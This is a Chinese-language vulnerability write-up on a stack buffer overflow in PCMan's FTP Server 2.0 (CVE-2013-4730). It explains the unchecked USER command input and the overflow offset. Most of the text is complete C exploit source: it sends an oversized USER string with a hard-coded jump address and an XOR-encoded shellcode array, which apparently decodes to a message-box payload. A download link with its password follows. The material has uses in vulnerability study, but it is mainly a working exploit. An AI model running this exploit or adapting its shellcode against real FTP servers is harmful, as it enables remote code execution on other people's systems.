软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 |
操作系统:WinXP/2003/7/8.1/10 漏洞编号:CVE-2013-4730 危害等级:中危 漏洞类型:缓冲区溢出 or 信息泄露 威胁类型:远程 or 本地 |
1. 软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。
软件界面:
2. 漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。此漏洞源于处理精心构造的USER, PASS, STOR, ABOR, CWD命令时,没有正确验证用户提供的输入,这可使远程攻击者造成缓冲区溢出,导致拒绝服务或执行任意代码。
3. 利用过程
利用FTP传输协议,发送USER命令后面跟上一大串字符串,并定位具体溢出点,将溢出点替换为shellcode以达到利用.
附:访问控制指令
用户名(USER):它的参数是用来指定用户的Telnet字串。它用来进行用户鉴定,服务器对赋予文件的系统访问权限。该指令通常是建立数据连接后(有些服务器需要)用户发出的第一个指令。有些服务器还需要通过password或account指令获取额外的鉴定信息。服务器允许用户为了改变访问控制和/或帐户信息而发送新的USER指令。这会导致已经提供的用户,口令,帐户信息被清空,重新开始登录。所有的传输参数均不改变,任何正在执行的传输进程在旧的访问控制参数下完成。
口令(PASS):它的参数是用来指定用户口令的Telnet字符串。 此指令紧跟用户名指令,在某些站点它是完成访问控制不可缺少的一步。因为口令信息非常敏感,所以它的表示通常是被“掩盖”起来或什么也不显示。服务器没有十分安全的方法达到这样的显示效果,因此,user-FTP进程有责任去隐藏敏感的口令信息。
4. PoC(可行性验证)
首先用windbg的mona2工具生成0x1000大小的有规律数据” Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7……”,然后编写FTP登陆程序给软件传送这段数据,得到溢出偏移值是2010。
构建一个的字符串:"USER "(5字节)+垃圾指令(2005字节)+ 跳板指令(4字节)+ shellcode代码(不含0x00,0x0A,0x0D,0x20特殊ASCII)+ "\r\n"(2字节)。
demo源代码:
#include "stdafx.h"
#include
#pragma comment(lib,"Ws2_32.lib")
char bshellcode[] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x33, 0xC0, 0xE8, 0xFF, 0xFF, 0xFF, 0xFF, 0xC3,
0x58, 0x8D, 0x70, 0x1B, 0x33, 0xC9, 0x66, 0xB9,
0x17, 0x01, 0x8A, 0x04, 0x0E, 0x34, 0x0B, 0x88,
0x04, 0x0E, 0xE2, 0xF6, 0x80, 0x34, 0x0E, 0x0B,
0xFF, 0xE6, 0x88, 0xE7, 0x7B, 0xE0, 0x47, 0x43,
0x6E, 0x67, 0x67, 0x64, 0x2B, 0x3A, 0x3E, 0x5B,
0x49, 0x0B, 0x4E, 0x73, 0x62, 0x7F, 0x5B, 0x79,
0x64, 0x68, 0x6E, 0x78, 0x78, 0x0B, 0x46, 0x6E,
0x78, 0x78, 0x6A, 0x6C, 0x6E, 0x49, 0x64, 0x73,
0x4A, 0x0B, 0x47, 0x64, 0x6A, 0x6F, 0x47, 0x62,
0x69, 0x79, 0x6A, 0x79, 0x72, 0x4E, 0x73, 0x4A,
0x0B, 0x7E, 0x78, 0x6E, 0x79, 0x38, 0x39, 0x25,
0x6F, 0x67, 0x67, 0x0B, 0x4C, 0x6E, 0x7F, 0x5B,
0x79, 0x64, 0x68, 0x4A, 0x6F, 0x6F, 0x79, 0x6E,
0x78, 0x78, 0x0B, 0xE3, 0x0B, 0x0B, 0x0B, 0x0B,
0x54, 0x5C, 0x6F, 0x80, 0x3E, 0x3B, 0x0B, 0x0B,
0x0B, 0x80, 0x7D, 0x07, 0x80, 0x7D, 0x17, 0x80,
0x3D, 0x80, 0x55, 0x03, 0x80, 0x78, 0x37, 0x08,
0xF8, 0x80, 0x7D, 0x73, 0x08, 0xF8, 0x80, 0x5D,
0x13, 0x80, 0x4D, 0x17, 0x08, 0xC8, 0x80, 0x75,
0x2F, 0x08, 0xF0, 0x5C, 0x80, 0x7D, 0x2B, 0x08,
0xF8, 0x38, 0xC2, 0x80, 0x37, 0x85, 0x08, 0xF0,
0xE0, 0x0C, 0x30, 0xC1, 0x4A, 0x7E, 0xFF, 0xE0,
0x12, 0x5A, 0x5D, 0x80, 0xFC, 0x80, 0x77, 0x2F,
0x07, 0x88, 0xE4, 0x1F, 0xB2, 0x04, 0x0B, 0x0B,
0x0B, 0xF7, 0xF8, 0xAD, 0x55, 0x52, 0x7F, 0x08,
0xE0, 0xEB, 0xC8, 0x54, 0x86, 0x07, 0x44, 0x04,
0xBC, 0x02, 0x80, 0x0F, 0x83, 0x08, 0xC8, 0x5B,
0x58, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4, 0x25,
0x5C, 0x58, 0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03,
0x88, 0xE4, 0x14, 0x61, 0x0B, 0x61, 0x0B, 0x5C,
0xF4, 0xDB, 0x80, 0x77, 0x2F, 0x03, 0x88, 0xE4,
0x31, 0x80, 0x7F, 0x2F, 0x0F, 0x5C, 0x5B, 0xF4,
0xDD, 0x5B, 0x80, 0x77, 0x2F, 0x07, 0x88, 0xE4,
0x4D, 0x80, 0x7F, 0x2F, 0x03, 0x80, 0x57, 0x2F,
0x0F, 0x5C, 0x58, 0xF4, 0xDD, 0x5B, 0x80, 0x77,
0x2F, 0x1B, 0x86, 0x4C, 0xA4, 0x80, 0x57, 0x2F,
0x0F, 0x61, 0x0B, 0x5B, 0x5B, 0x61, 0x0B, 0xF4,
0xD8, 0x80, 0x07, 0x2F, 0x61, 0x0B, 0xF4, 0xDA,
0x0B
};
int _tmain(int argc, _TCHAR* argv[])
{
// 1. 初始化Winsock服务
WSADATA stWSA;
WSAStartup(0x0202, &stWSA);
// 2. 创建一个原始套接字
SOCKET stListen = INVALID_SOCKET;
stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
// 3. 在任意地址(INADDR_ANY)上绑定一个端口21
SOCKADDR_IN stService;
stService.sin_addr.s_addr = inet_addr("127.0.0.1");
stService.sin_port = htons(21);
stService.sin_family = AF_INET;
connect(stListen, (SOCKADDR*)&stService, sizeof(stService));
// 4. 接受欢迎语
char szRecv[0x100] = { 0 };
char *pCommand = "USER anonymous";
recv(stListen, szRecv, sizeof(szRecv), 0);
char cExpolit[5000] = { 0 };
char cFill[5000] = { 0 };
memset(cFill, 'A', 2005);
sprintf_s(cExpolit, 5000, "%s%s%s%s%s", "USER ",cFill, "\x1D\x11\xBF\x76", bshellcode, "\r\n"); //76BF111D这个是跳板地址,按照具体机型更改
// 5. 发送登陆请求
send(stListen, cExpolit, strlen(cExpolit), 0);
recv(stListen, szRecv, sizeof(szRecv), 0);
// 6. 关闭相关句柄并释放相关资源
closesocket(stListen);
WSACleanup();
return 0;
}
链接:http://pan.baidu.com/s/1i4ASr4p 密码:xqe3